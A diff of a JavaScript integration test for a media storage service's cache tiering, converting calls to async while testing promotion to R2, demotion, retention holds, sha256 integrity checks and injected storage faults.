- promoteMaxSizeMb: 4096, maxPromotionsPerSweep: 3, demoteIdleDays: 14, maxDemotionsPerSweep: 10 });
- assert.strictEqual(policy.settings().active, false);
- const rev0 = policy.get().revision();
- for (const [updates, why] of [
- [{ promoteMinSizeMb: 10, promoteMaxSizeMb: 5 }, /promoteMinSizeMb must be below promoteMaxSizeMb/],
- [{ demoteIdleDays: 3 }, /demoteIdleDays must be above promoteRecentAccessDays/],
- [{ promoteMinUniqueViewers7d: 0 }, /must be >= 1/],
- [{ active: 'yes' }, /must be boolean/],
- [{ maxPromotionsPerSweep: 1.5 }, /must be integer/],
- [{ demoteIdleDays: 31 }, /must be <= 30/],
- [{ surprise: 1 }, /not a known key/],
- ]) {
- await assert.rejects(policy.set(updates, { reason: 'test' }), (e) => e.status === 422 && e.code === 'config.invalid' && why.test(e.message), JSON.stringify(updates));
- }
- assert.strictEqual(policy.get().revision(), rev0, 'a refused change changes nothing');
- await policy.set({ promoteMinSizeMb: 0.001, promoteMaxSizeMb: 1 }, { actor: { type: 'service', id: 'live' }, reason: 'test: small objects' });
- const th = policy.thresholds();
- assert.deepStrictEqual([th.promoteMinSizeMb.source, th.promoteMinUniqueViewers7d.source, th.active.source], ['setting', 'default', 'default']);
- assert.deepStrictEqual(th.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });
- console.log('✅ media.object_tier: gate off and 500 viewers by default; types, ranges, key order and unknown keys refused (422), nothing changed');
+ // ── 3. The policy: revisioned, validated, the gate off by default ──
+ assert.deepStrictEqual(policy.DEFAULTS, { active: false, promoteMinUniqueViewers7d: 500, promoteRecentAccessDays: 3, promoteMinSizeMb: 16,
+ promoteMaxSizeMb: 4096, maxPromotionsPerSweep: 3, demoteIdleDays: 14, maxDemotionsPerSweep: 10 });
+ assert.strictEqual(policy.settings().active, false);
+ const rev0 = policy.get().revision();
+ for (const [updates, why] of [
+ [{ promoteMinSizeMb: 10, promoteMaxSizeMb: 5 }, /promoteMinSizeMb must be below promoteMaxSizeMb/],
+ [{ demoteIdleDays: 3 }, /demoteIdleDays must be above promoteRecentAccessDays/],
+ [{ promoteMinUniqueViewers7d: 0 }, /must be >= 1/],
+ [{ active: 'yes' }, /must be boolean/],
+ [{ maxPromotionsPerSweep: 1.5 }, /must be integer/],
+ [{ demoteIdleDays: 31 }, /must be <= 30/],
+ [{ surprise: 1 }, /not a known key/],
+ ]) {
+ await assert.rejects(policy.set(updates, { reason: 'test' }), (e) => e.status === 422 && e.code === 'config.invalid' && why.test(e.message), JSON.stringify(updates));
+ }
+ assert.strictEqual(policy.get().revision(), rev0, 'a refused change changes nothing');
+ await policy.set({ promoteMinSizeMb: 0.001, promoteMaxSizeMb: 1 }, { actor: { type: 'service', id: 'live' }, reason: 'test: small objects' });
+ const th = policy.thresholds();
+ assert.deepStrictEqual([th.promoteMinSizeMb.source, th.promoteMinUniqueViewers7d.source, th.active.source], ['setting', 'default', 'default']);
+ assert.deepStrictEqual(th.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });
+ console.log('✅ media.object_tier: gate off and 500 viewers by default; types, ranges, key order and unknown keys refused (422), nothing changed');
- // ── 4. Gate off: the sweep moves nothing and records what it would do ──
- db.run('DELETE FROM media_object_views_daily');
- const pop = addObject();
- setViews(pop.id, [[0, 600]]);
- const cached = addObject(); // a copy in R2 from earlier, idle for a month
- buckets['r2-bucket'].set(`objects/live/${cached.id}`, cached.bytes);
- model.upsertLocation(cached.id, { provider: 'r2', bucket: 'r2-bucket', key: `objects/live/${cached.id}`, storage_class: 'cache', state: 'present', size_bytes: 4096, checksum: cached.sum, verified: true });
- ageR2(cached.id, 30);
- const r2Keys = buckets['r2-bucket'].size;
- let s = await tiering.runSweep();
- assert.deepStrictEqual([s.gate, s.promoted, s.demoted, s.would_promote, s.would_demote], [false, 0, 0, 1, 1], JSON.stringify(s));
- assert.strictEqual(buckets['r2-bucket'].size, r2Keys, 'nothing was copied or deleted');
- assert.ok(!r2Row(pop.id) && r2Row(cached.id));
- let d = last(pop.id);
- assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider], ['promote', 'dry_run', 'sweep', 'local', 'r2']);
- assert.ok(/^gate off \(active = false\): would promote: 600 unique viewers in 7 days >= promoteMinUniqueViewers7d 500/.test(d.reason), d.reason);
- const din = JSON.parse(d.inputs);
- assert.deepStrictEqual([din.unique_viewers_7d, din.last_viewed_day, din.gate_active, din.held, din.canonical.provider, din.canonical.checksum_matches], [600, today, false, false, 'local', true]);
- assert.deepStrictEqual(JSON.parse(d.thresholds).active, { value: false, source: 'default' });
- assert.deepStrictEqual([last(cached.id).action, last(cached.id).outcome], ['demote', 'dry_run']);
- s = await tiering.runSweep();
- assert.deepStrictEqual([s.would_promote, s.would_demote, s.repeats], [0, 0, 2], 'a repeated dry run is logged once a day');
- assert.strictEqual(decisions(pop.id).length, 1);
- const manual = await tiering.promote(pop.id, { reason: 'asked by hand' });
- assert.deepStrictEqual([manual.ok, manual.outcome], [false, 'dry_run'], 'the gate holds for a direct call too');
- assert.ok(!r2Row(pop.id));
- console.log('✅ gate off: dry_run decisions (with inputs and thresholds), once a day, and nothing moves, from the sweep or a direct call');
+ // ── 4. Gate off: the sweep moves nothing and records what it would do ──
+ await db.run('DELETE FROM media_object_views_daily');
+ const pop = await addObject();
+ await setViews(pop.id, [[0, 600]]);
+ const cached = await addObject(); // a copy in R2 from earlier, idle for a month
+ buckets['r2-bucket'].set(`objects/live/${cached.id}`, cached.bytes);
+ await model.upsertLocation(cached.id, { provider: 'r2', bucket: 'r2-bucket', key: `objects/live/${cached.id}`, storage_class: 'cache', state: 'present', size_bytes: 4096, checksum: cached.sum, verified: true });
+ await ageR2(cached.id, 30);
+ const r2Keys = buckets['r2-bucket'].size;
+ let s = await tiering.runSweep();
+ assert.deepStrictEqual([s.gate, s.promoted, s.demoted, s.would_promote, s.would_demote], [false, 0, 0, 1, 1], JSON.stringify(s));
+ assert.strictEqual(buckets['r2-bucket'].size, r2Keys, 'nothing was copied or deleted');
+ assert.ok(!await r2Row(pop.id) && await r2Row(cached.id));
+ let d = await last(pop.id);
+ assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider], ['promote', 'dry_run', 'sweep', 'local', 'r2']);
+ assert.ok(/^gate off \(active = false\): would promote: 600 unique viewers in 7 days >= promoteMinUniqueViewers7d 500/.test(d.reason), d.reason);
+ const din = JSON.parse(d.inputs);
+ assert.deepStrictEqual([din.unique_viewers_7d, din.last_viewed_day, din.gate_active, din.held, din.canonical.provider, din.canonical.checksum_matches], [600, today, false, false, 'local', true]);
+ assert.deepStrictEqual(JSON.parse(d.thresholds).active, { value: false, source: 'default' });
+ assert.deepStrictEqual([(await last(cached.id)).action, (await last(cached.id)).outcome], ['demote', 'dry_run']);
+ s = await tiering.runSweep();
+ assert.deepStrictEqual([s.would_promote, s.would_demote, s.repeats], [0, 0, 2], 'a repeated dry run is logged once a day');
+ assert.strictEqual((await decisions(pop.id)).length, 1);
+ const manual = await tiering.promote(pop.id, { reason: 'asked by hand' });
+ assert.deepStrictEqual([manual.ok, manual.outcome], [false, 'dry_run'], 'the gate holds for a direct call too');
+ assert.ok(!await r2Row(pop.id));
+ console.log('✅ gate off: dry_run decisions (with inputs and thresholds), once a day, and nothing moves, from the sweep or a direct call');
- // ── 5. Thresholds: viewers, recency, window and size ──
- const few = addObject(); setViews(few.id, [[0, 499]]);
- const stale = addObject(); setViews(stale.id, [[-5, 900]]); // popular, but not viewed within 3 days
- const outside = addObject(); setViews(outside.id, [[-7, 450], [0, 100]]); // day -7 is outside the 7-day window
- const spread = addObject(); setViews(spread.id, [[-6, 250], [-3, 150], [0, 100]]);
- const tiny = addObject({ size: 512 }); setViews(tiny.id, [[0, 900]]); // under promoteMinSizeMb (0.001 MB)
- const huge = addObject({ size: 1100000 }); setViews(huge.id, [[0, 900]]); // over promoteMaxSizeMb (1 MB)
- const projectId = 'prj_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3';
- db.ensureProjectTenant(projectId, 'sandbox', 0);
- const sandboxed = addObject({ app: `${projectId}-sandbox` }); setViews(sandboxed.id, [[0, 900]]);
- const ids = tiering.promotionCandidates(policy.settings()).map((c) => c.id);
- assert.ok(ids.includes(pop.id) && ids.includes(spread.id), 'at 500 or more within the window');
- for (const o of [few, stale, outside, tiny, huge]) assert.ok(!ids.includes(o.id), `not a candidate: ${o.id}`);
- s = await tiering.runSweep();
- assert.ok(!decisions(sandboxed.id).length, 'a sandbox object is never considered');
- assert.strictEqual(tiering.candidates().find((c) => c.object_id === sandboxed.id).blocked_by, 'developer sandbox objects are never tiered');
- assert.strictEqual(last(spread.id).outcome, 'dry_run');
- for (const o of [few, stale, outside, tiny, huge]) assert.strictEqual(decisions(o.id).length, 0);
- console.log('✅ thresholds: 7-day viewers (sum of the window), recent view, size bounds; sandbox tenants never tier');
+ // ── 5. Thresholds: viewers, recency, window and size ──
+ const few = await addObject(); await setViews(few.id, [[0, 499]]);
+ const stale = await addObject(); await setViews(stale.id, [[-5, 900]]); // popular, but not viewed within 3 days
+ const outside = await addObject(); await setViews(outside.id, [[-7, 450], [0, 100]]); // day -7 is outside the 7-day window
+ const spread = await addObject(); await setViews(spread.id, [[-6, 250], [-3, 150], [0, 100]]);
+ const tiny = await addObject({ size: 512 }); await setViews(tiny.id, [[0, 900]]); // under promoteMinSizeMb (0.001 MB)
+ const huge = await addObject({ size: 1100000 }); await setViews(huge.id, [[0, 900]]); // over promoteMaxSizeMb (1 MB)
+ const projectId = 'prj_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3';
+ await db.ensureProjectTenant(projectId, 'sandbox', 0);
+ const sandboxed = await addObject({ app: `${projectId}-sandbox` }); await setViews(sandboxed.id, [[0, 900]]);
+ const ids = (await tiering.promotionCandidates(policy.settings())).map((c) => c.id);
+ assert.ok(ids.includes(pop.id) && ids.includes(spread.id), 'at 500 or more within the window');
+ for (const o of [few, stale, outside, tiny, huge]) assert.ok(!ids.includes(o.id), `not a candidate: ${o.id}`);
+ s = await tiering.runSweep();
+ assert.ok(!(await decisions(sandboxed.id)).length, 'a sandbox object is never considered');
+ assert.strictEqual((await tiering.candidates()).find((c) => c.object_id === sandboxed.id).blocked_by, 'developer sandbox objects are never tiered');
+ assert.strictEqual((await last(spread.id)).outcome, 'dry_run');
+ for (const o of [few, stale, outside, tiny, huge]) assert.strictEqual((await decisions(o.id)).length, 0);
+ console.log('✅ thresholds: 7-day viewers (sum of the window), recent view, size bounds; sandbox tenants never tier');
- // ── 6. Gate on: holds and an unverified canonical copy refuse; a released hold promotes ──
- await policy.set({ active: true }, { actor: { type: 'service', id: 'live' }, reason: 'test: gate on' });
- db.run('DELETE FROM media_object_views_daily');
- const hot = addObject(); setViews(hot.id, [[0, 700]]);
- const hold = model.placeHold({ object_id: hot.id, kind: 'admin', reason: 'test' });
- const unchecked = addObject({ verified: false }); setViews(unchecked.id, [[0, 700]]);
- const nohash = addObject({ hash: false }); setViews(nohash.id, [[0, 700]]);
- const tampered = addObject(); setViews(tampered.id, [[0, 700]]);
- const other = Buffer.from(tampered.bytes); other[10] ^= 0xff; fs.writeFileSync(tampered.file, other); // on record verified; on disk not
- s = await tiering.runSweep();
- assert.deepStrictEqual([s.gate, s.promoted, s.refused], [true, 0, 4], JSON.stringify(s));
- assert.ok(/retention hold/.test(last(hot.id).reason) && JSON.parse(last(hot.id).inputs).held === true);
- assert.ok(/never checked/.test(last(unchecked.id).reason), last(unchecked.id).reason);
- assert.ok(/no sha256 on record/.test(last(nohash.id).reason), last(nohash.id).reason);
- assert.ok(/does not match the sha256 on record/.test(last(tampered.id).reason), last(tampered.id).reason);
- for (const o of [hot, unchecked, nohash, tampered]) { assert.ok(!r2Row(o.id)); assert.ok(!buckets['r2-bucket'].has(`objects/live/${o.id}`)); }
- s = await tiering.runSweep();
- assert.strictEqual(decisions(hot.id).length, 1, 'a repeated refusal is logged once a day');
- model.releaseHold(hold.id, 'test');
- s = await tiering.runSweep();
- assert.strictEqual(s.promoted, 1);
- console.log('✅ gate on: a hold, a canonical copy never checked, no sha256 or bytes that no longer match refuse the promotion; released, it promotes');
+ // ── 6. Gate on: holds and an unverified canonical copy refuse; a released hold promotes ──
+ await policy.set({ active: true }, { actor: { type: 'service', id: 'live' }, reason: 'test: gate on' });
+ await db.run('DELETE FROM media_object_views_daily');
+ const hot = await addObject(); await setViews(hot.id, [[0, 700]]);
+ const hold = await model.placeHold({ object_id: hot.id, kind: 'admin', reason: 'test' });
+ const unchecked = await addObject({ verified: false }); await setViews(unchecked.id, [[0, 700]]);
+ const nohash = await addObject({ hash: false }); await setViews(nohash.id, [[0, 700]]);
+ const tampered = await addObject(); await setViews(tampered.id, [[0, 700]]);
+ const other = Buffer.from(tampered.bytes); other[10] ^= 0xff; fs.writeFileSync(tampered.file, other); // on record verified; on disk not
+ s = await tiering.runSweep();
+ assert.deepStrictEqual([s.gate, s.promoted, s.refused], [true, 0, 4], JSON.stringify(s));
+ assert.ok(/retention hold/.test((await last(hot.id)).reason) && JSON.parse((await last(hot.id)).inputs).held === true);
+ assert.ok(/never checked/.test((await last(unchecked.id)).reason), (await last(unchecked.id)).reason);
+ assert.ok(/no sha256 on record/.test((await last(nohash.id)).reason), (await last(nohash.id)).reason);
+ assert.ok(/does not match the sha256 on record/.test((await last(tampered.id)).reason), (await last(tampered.id)).reason);
+ for (const o of [hot, unchecked, nohash, tampered]) { assert.ok(!await r2Row(o.id)); assert.ok(!buckets['r2-bucket'].has(`objects/live/${o.id}`)); }
+ s = await tiering.runSweep();
+ assert.strictEqual((await decisions(hot.id)).length, 1, 'a repeated refusal is logged once a day');
+ await model.releaseHold(hold.id, 'test');
+ s = await tiering.runSweep();
+ assert.strictEqual(s.promoted, 1);
+ console.log('✅ gate on: a hold, a canonical copy never checked, no sha256 or bytes that no longer match refuse the promotion; released, it promotes');
- // ── 7. Promotion: copy, verify size and sha256, record; /o/:id plays from R2 ──
- let r = r2Row(hot.id);
- assert.deepStrictEqual([r.state, r.storage_class, r.key, r.checksum, r.size_bytes, !!r.verified_at], ['present', 'cache', `objects/live/${hot.id}`, hot.sum, 4096, true]);
- assert.ok(buckets['r2-bucket'].get(`objects/live/${hot.id}`).equals(hot.bytes), 'the R2 copy is the same bytes');
- assert.ok(fs.existsSync(hot.file) && db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id]).state === 'present', 'the canonical copy stays');
- d = last(hot.id);
- assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider, d.error], ['promote', 'done', 'sweep', 'local', 'r2', null]);
+ // ── 7. Promotion: copy, verify size and sha256, record; /o/:id plays from R2 ──
+ let r = await r2Row(hot.id);
+ assert.deepStrictEqual([r.state, r.storage_class, r.key, r.checksum, r.size_bytes, !!r.verified_at], ['present', 'cache', `objects/live/${hot.id}`, hot.sum, 4096, true]);
+ assert.ok(buckets['r2-bucket'].get(`objects/live/${hot.id}`).equals(hot.bytes), 'the R2 copy is the same bytes');
+ assert.ok(fs.existsSync(hot.file) && (await db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id])).state === 'present', 'the canonical copy stays');
+ d = await last(hot.id);
+ assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider, d.error], ['promote', 'done', 'sweep', 'local', 'r2', null]);
- const express = require('express');
- const app = express();
- app.set('trust proxy', 'loopback');
- app.use(express.json());
- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
- app.use('/o', require('../server/objects/routes').publicRouter);
- const server = await new Promise((ok) => { const x = app.listen(0, '127.0.0.1', () => ok(x)); });
- const base = `http://127.0.0.1:${server.address().port}`;
- const get = (url, headers = {}) => new Promise((resolve, reject) => {
- http.get(url, { headers: { 'User-Agent': BROWSER, ...headers } }, (res) => {
- const b = []; res.on('data', (c) => b.push(c)); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: Buffer.concat(b) }));
- }).on('error', reject);
- });
- const call = async (p, key = 'live-key-objtier') => { const x = await get(base + p, { Authorization: `Bearer ${key}` }); return { status: x.status, body: JSON.parse(x.body.toString() || '{}') }; };
+ const express = require('express');
+ const app = express();
+ app.set('trust proxy', 'loopback');
+ app.use(express.json());
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ app.use('/o', require('../server/objects/routes').publicRouter);
+ const server = await new Promise((ok) => { const x = app.listen(0, '127.0.0.1', () => ok(x)); });
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const get = (url, headers = {}) => new Promise((resolve, reject) => {
+ http.get(url, { headers: { 'User-Agent': BROWSER, ...headers } }, (res) => {
+ const b = []; res.on('data', (c) => b.push(c)); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body: Buffer.concat(b) }));
+ }).on('error', reject);
+ });
+ const call = async (p, key = 'live-key-objtier') => { const x = await get(base + p, { Authorization: `Bearer ${key}` }); return { status: x.status, body: JSON.parse(x.body.toString() || '{}') }; };
- const web = addObject();
- let g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.44' });
- assert.strictEqual(g.status, 200);
- assert.ok(g.body.equals(web.bytes), 'served from the local canonical copy before');
- await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.45', 'Sec-GPC': '1' });
- assert.strictEqual(popularity.stats({ ids: [web.id] }).get(web.id).unique_viewers, 1, '/o/:id counts its viewers (not the opted-out one)');
- assert.strictEqual((await tiering.promote(web.id, { trigger: 'manual', reason: 'test' })).outcome, 'done');
- g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.46' });
- assert.strictEqual(g.status, 302);
- const loc = new URL(g.headers.location);
- assert.ok(loc.pathname.endsWith(`/r2-bucket/objects/live/${web.id}`), g.headers.location);
- assert.ok(/^attachment; filename="x\.bin"$/.test(loc.searchParams.get('response-content-disposition')), 'the presigned answer keeps the headers /o would send');
- assert.strictEqual(loc.searchParams.get('response-content-type'), 'application/octet-stream');
- assert.ok((await get(g.headers.location)).body.equals(web.bytes), 'and R2 serves the same bytes');
- assert.strictEqual(popularity.stats({ ids: [web.id] }).get(web.id).unique_viewers, 2);
+ const web = await addObject();
+ let g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.44' });
+ assert.strictEqual(g.status, 200);
+ assert.ok(g.body.equals(web.bytes), 'served from the local canonical copy before');
+ await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.45', 'Sec-GPC': '1' });
+ assert.strictEqual((await popularity.stats({ ids: [web.id] })).get(web.id).unique_viewers, 1, '/o/:id counts its viewers (not the opted-out one)');
+ assert.strictEqual((await tiering.promote(web.id, { trigger: 'manual', reason: 'test' })).outcome, 'done');
+ g = await get(`${base}/o/${web.id}`, { 'X-Forwarded-For': '192.0.2.46' });
+ assert.strictEqual(g.status, 302);
+ const loc = new URL(g.headers.location);
+ assert.ok(loc.pathname.endsWith(`/r2-bucket/objects/live/${web.id}`), g.headers.location);
+ assert.ok(/^attachment; filename="x\.bin"$/.test(loc.searchParams.get('response-content-disposition')), 'the presigned answer keeps the headers /o would send');
+ assert.strictEqual(loc.searchParams.get('response-content-type'), 'application/octet-stream');
+ assert.ok((await get(g.headers.location)).body.equals(web.bytes), 'and R2 serves the same bytes');
+ assert.strictEqual((await popularity.stats({ ids: [web.id] })).get(web.id).unique_viewers, 2);
- fault.corruptPut = 'r2-bucket';
- const bad = addObject();
- let m = await tiering.promote(bad.id, { reason: 'test' });
- fault.corruptPut = null;
- assert.deepStrictEqual([m.ok, m.outcome], [false, 'failed']);
- assert.ok(/does not match the sha256/.test(m.error), m.error);
- assert.ok(!buckets['r2-bucket'].has(`objects/live/${bad.id}`) && !r2Row(bad.id), 'an R2 copy that does not verify is removed and never recorded');
- assert.ok(last(bad.id).error);
- fault.refusePut = 'r2-bucket';
- const refusedPut = addObject();
- m = await tiering.promote(refusedPut.id, { reason: 'test' });
- fault.refusePut = null;
- assert.deepStrictEqual([m.outcome, !!r2Row(refusedPut.id)], ['failed', false]);
- db.run('DELETE FROM media_object_views_daily WHERE object_id != ?', [bad.id]);
- setViews(bad.id, [[0, 700]]);
- s = await tiering.runSweep();
- assert.deepStrictEqual([s.skipped_backoff, s.promoted, decisions(bad.id).length], [1, 0, 1], 'a failed object waits before the next try');
+ fault.corruptPut = 'r2-bucket';
+ const bad = await addObject();
+ let m = await tiering.promote(bad.id, { reason: 'test' });
+ fault.corruptPut = null;
+ assert.deepStrictEqual([m.ok, m.outcome], [false, 'failed']);
+ assert.ok(/does not match the sha256/.test(m.error), m.error);
+ assert.ok(!buckets['r2-bucket'].has(`objects/live/${bad.id}`) && !await r2Row(bad.id), 'an R2 copy that does not verify is removed and never recorded');
+ assert.ok((await last(bad.id)).error);
+ fault.refusePut = 'r2-bucket';
+ const refusedPut = await addObject();
+ m = await tiering.promote(refusedPut.id, { reason: 'test' });
+ fault.refusePut = null;
+ assert.deepStrictEqual([m.outcome, !!await r2Row(refusedPut.id)], ['failed', false]);
+ await db.run('DELETE FROM media_object_views_daily WHERE object_id != ?', [bad.id]);
+ await setViews(bad.id, [[0, 700]]);
+ s = await tiering.runSweep();
+ assert.deepStrictEqual([s.skipped_backoff, s.promoted, (await decisions(bad.id)).length], [1, 0, 1], 'a failed object waits before the next try');
- const fromB2 = addObject({ canonical: 'b2' });
- m = await tiering.promote(fromB2.id, { reason: 'test' });
- assert.strictEqual(m.outcome, 'done', JSON.stringify(m));
- assert.ok(buckets['r2-bucket'].get(`objects/live/${fromB2.id}`).equals(fromB2.bytes), 'a B2 canonical copy is copied to R2 under its key');
- assert.strictEqual(last(fromB2.id).from_provider, 'b2');
- assert.strictEqual((await tiering.promote(fromB2.id, { reason: 'again' })).outcome, 'already');
- console.log('✅ promotion copies the canonical copy, checks the R2 copy\'s size and sha256 before recording it; /o/:id then redirects to R2 with its own headers; failures leave nothing and back off');
+ const fromB2 = await addObject({ canonical: 'b2' });
+ m = await tiering.promote(fromB2.id, { reason: 'test' });
+ assert.strictEqual(m.outcome, 'done', JSON.stringify(m));
+ assert.ok(buckets['r2-bucket'].get(`objects/live/${fromB2.id}`).equals(fromB2.bytes), 'a B2 canonical copy is copied to R2 under its key');
+ assert.strictEqual((await last(fromB2.id)).from_provider, 'b2');
+ assert.strictEqual((await tiering.promote(fromB2.id, { reason: 'again' })).outcome, 'already');
+ console.log('✅ promotion copies the canonical copy, checks the R2 copy\'s size and sha256 before recording it; /o/:id then redirects to R2 with its own headers; failures leave nothing and back off');
- // ── 8. Demotion: idle or not ready; never the last good copy; holds; purge waits for it ──
- db.run('DELETE FROM media_object_views_daily');
- setViews(hot.id, [[-20, 900]]); ageR2(hot.id, 20); // idle 20 days, in R2 20 days
- const fresh = addObject(); await tiering.promote(fresh.id, { reason: 'test' }); // no viewer, but in R2 since now
- setViews(web.id, [[0, 3]]); ageR2(web.id, 20); // viewed today
- const lost = addObject(); await tiering.promote(lost.id, { reason: 'test' }); ageR2(lost.id, 20);
- fs.unlinkSync(lost.file); // the canonical copy is gone: R2 is the last good copy
- const drifted = addObject(); await tiering.promote(drifted.id, { reason: 'test' }); ageR2(drifted.id, 20);
- const flipped = Buffer.from(drifted.bytes); flipped[0] ^= 0xff; fs.writeFileSync(drifted.file, flipped);
- const pinned = addObject(); await tiering.promote(pinned.id, { reason: 'test' }); ageR2(pinned.id, 20);
- const pin = model.placeHold({ object_id: pinned.id, kind: 'creator_pin', reason: 'test' });
- const gone = addObject(); await tiering.promote(gone.id, { reason: 'test' }); setViews(gone.id, [[0, 900]]);
- model.softDelete(model.getObject(gone.id), { by: 'test' });
- const sticky = addObject(); await tiering.promote(sticky.id, { reason: 'test' }); ageR2(sticky.id, 20);
- fault.keepOnDelete = 'r2-bucket';
- // Only the sticky object sees the store keep its bytes: demote it on its own first.
- m = await tiering.demote(sticky.id, { reason: 'test' });
- fault.keepOnDelete = null;
- assert.deepStrictEqual([m.outcome, !!r2Row(sticky.id)], ['failed', true]);
- assert.ok(/still there/.test(m.error));
- // Seven hours ago: past the back-off, so the sweep below tries again (and still within the 24-hour counts).
- db.run("UPDATE media_object_tier_decisions SET decided_at = strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-7 hours') WHERE object_id = ? AND outcome = 'failed'", [sticky.id]);
- await policy.set({ maxDemotionsPerSweep: 20 }, { reason: 'test: room for every demotion' });
- s = await tiering.runSweep();
- assert.ok(!r2Row(hot.id) && !buckets['r2-bucket'].has(`objects/live/${hot.id}`), 'an idle object leaves R2');
- assert.ok(fs.existsSync(hot.file) && db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id]).state === 'present');
- d = last(hot.id);
- assert.deepStrictEqual([d.action, d.outcome, d.from_provider, d.to_provider], ['demote', 'done', 'r2', 'local']);
- assert.ok(/idle for demoteIdleDays 14/.test(d.reason), d.reason);
- assert.ok(r2Row(fresh.id) && r2Row(web.id), 'an object in R2 for less than demoteIdleDays, or viewed, stays');
- assert.ok(r2Row(lost.id) && buckets['r2-bucket'].has(`objects/live/${lost.id}`), 'the last good copy is never removed');
- assert.deepStrictEqual([last(lost.id).outcome, /the canonical local file is missing; the R2 copy is kept/.test(last(lost.id).reason)], ['refused', true]);
- assert.ok(r2Row(drifted.id) && /does not match the sha256/.test(last(drifted.id).reason), 'nor one whose canonical copy no longer hashes right');
- assert.ok(r2Row(pinned.id) && /retention hold/.test(last(pinned.id).reason), 'a hold blocks the demotion');
- assert.ok(!r2Row(gone.id) && /the object is deleted/.test(last(gone.id).reason), 'a deleted object leaves R2 however popular');
- assert.ok(!r2Row(cached.id), 'the month-idle copy from before goes too');
- assert.ok(!r2Row(sticky.id), 'and the one the store kept once, now that it lets go');
- g = await get(`${base}/o/${lost.id}`);
- assert.strictEqual(g.status, 302, 'the object whose canonical copy is lost still plays from R2');
- g = await get(`${base}/o/${hot.id}`);
- assert.strictEqual(g.status, 200, 'a demoted object plays from its canonical copy again');
- model.releaseHold(pin.id, 'test');
+ // ── 8. Demotion: idle or not ready; never the last good copy; holds; purge waits for it ──
+ await db.run('DELETE FROM media_object_views_daily');
+ await setViews(hot.id, [[-20, 900]]); await ageR2(hot.id, 20); // idle 20 days, in R2 20 days
+ const fresh = await addObject(); await tiering.promote(fresh.id, { reason: 'test' }); // no viewer, but in R2 since now
+ await setViews(web.id, [[0, 3]]); await ageR2(web.id, 20); // viewed today
+ const lost = await addObject(); await tiering.promote(lost.id, { reason: 'test' }); await ageR2(lost.id, 20);
+ fs.unlinkSync(lost.file); // the canonical copy is gone: R2 is the last good copy
+ const drifted = await addObject(); await tiering.promote(drifted.id, { reason: 'test' }); await ageR2(drifted.id, 20);
+ const flipped = Buffer.from(drifted.bytes); flipped[0] ^= 0xff; fs.writeFileSync(drifted.file, flipped);
+ const pinned = await addObject(); await tiering.promote(pinned.id, { reason: 'test' }); await ageR2(pinned.id, 20);
+ const pin = await model.placeHold({ object_id: pinned.id, kind: 'creator_pin', reason: 'test' });
+ const gone = await addObject(); await tiering.promote(gone.id, { reason: 'test' }); await setViews(gone.id, [[0, 900]]);
+ await model.softDelete(await model.getObject(gone.id), { by: 'test' });
+ const sticky = await addObject(); await tiering.promote(sticky.id, { reason: 'test' }); await ageR2(sticky.id, 20);
+ fault.keepOnDelete = 'r2-bucket';
+ // Only the sticky object sees the store keep its bytes: demote it on its own first.
+ m = await tiering.demote(sticky.id, { reason: 'test' });
+ fault.keepOnDelete = null;
+ assert.deepStrictEqual([m.outcome, !!await r2Row(sticky.id)], ['failed', true]);
+ assert.ok(/still there/.test(m.error));
+ // Seven hours ago: past the back-off, so the sweep below tries again (and still within the 24-hour counts).
+ await db.run("UPDATE media_object_tier_decisions SET decided_at = ov_now_iso('-7 hours') WHERE object_id = ? AND outcome = 'failed'", [sticky.id]);
+ await policy.set({ maxDemotionsPerSweep: 20 }, { reason: 'test: room for every demotion' });
+ s = await tiering.runSweep();
+ assert.ok(!await r2Row(hot.id) && !buckets['r2-bucket'].has(`objects/live/${hot.id}`), 'an idle object leaves R2');
+ assert.ok(fs.existsSync(hot.file) && (await db.get("SELECT state FROM media_locations WHERE object_id = ? AND provider = 'local'", [hot.id])).state === 'present');
+ d = await last(hot.id);
+ assert.deepStrictEqual([d.action, d.outcome, d.from_provider, d.to_provider], ['demote', 'done', 'r2', 'local']);
+ assert.ok(/idle for demoteIdleDays 14/.test(d.reason), d.reason);
+ assert.ok(await r2Row(fresh.id) && await r2Row(web.id), 'an object in R2 for less than demoteIdleDays, or viewed, stays');
+ assert.ok(await r2Row(lost.id) && buckets['r2-bucket'].has(`objects/live/${lost.id}`), 'the last good copy is never removed');
+ assert.deepStrictEqual([(await last(lost.id)).outcome, /the canonical local file is missing; the R2 copy is kept/.test((await last(lost.id)).reason)], ['refused', true]);
+ assert.ok(await r2Row(drifted.id) && /does not match the sha256/.test((await last(drifted.id)).reason), 'nor one whose canonical copy no longer hashes right');
+ assert.ok(await r2Row(pinned.id) && /retention hold/.test((await last(pinned.id)).reason), 'a hold blocks the demotion');
+ assert.ok(!await r2Row(gone.id) && /the object is deleted/.test((await last(gone.id)).reason), 'a deleted object leaves R2 however popular');
+ assert.ok(!await r2Row(cached.id), 'the month-idle copy from before goes too');
+ assert.ok(!await r2Row(sticky.id), 'and the one the store kept once, now that it lets go');
+ g = await get(`${base}/o/${lost.id}`);
+ assert.strictEqual(g.status, 302, 'the object whose canonical copy is lost still plays from R2');
+ g = await get(`${base}/o/${hot.id}`);
+ assert.strictEqual(g.status, 200, 'a demoted object plays from its canonical copy again');
+ await model.releaseHold(pin.id, 'test');
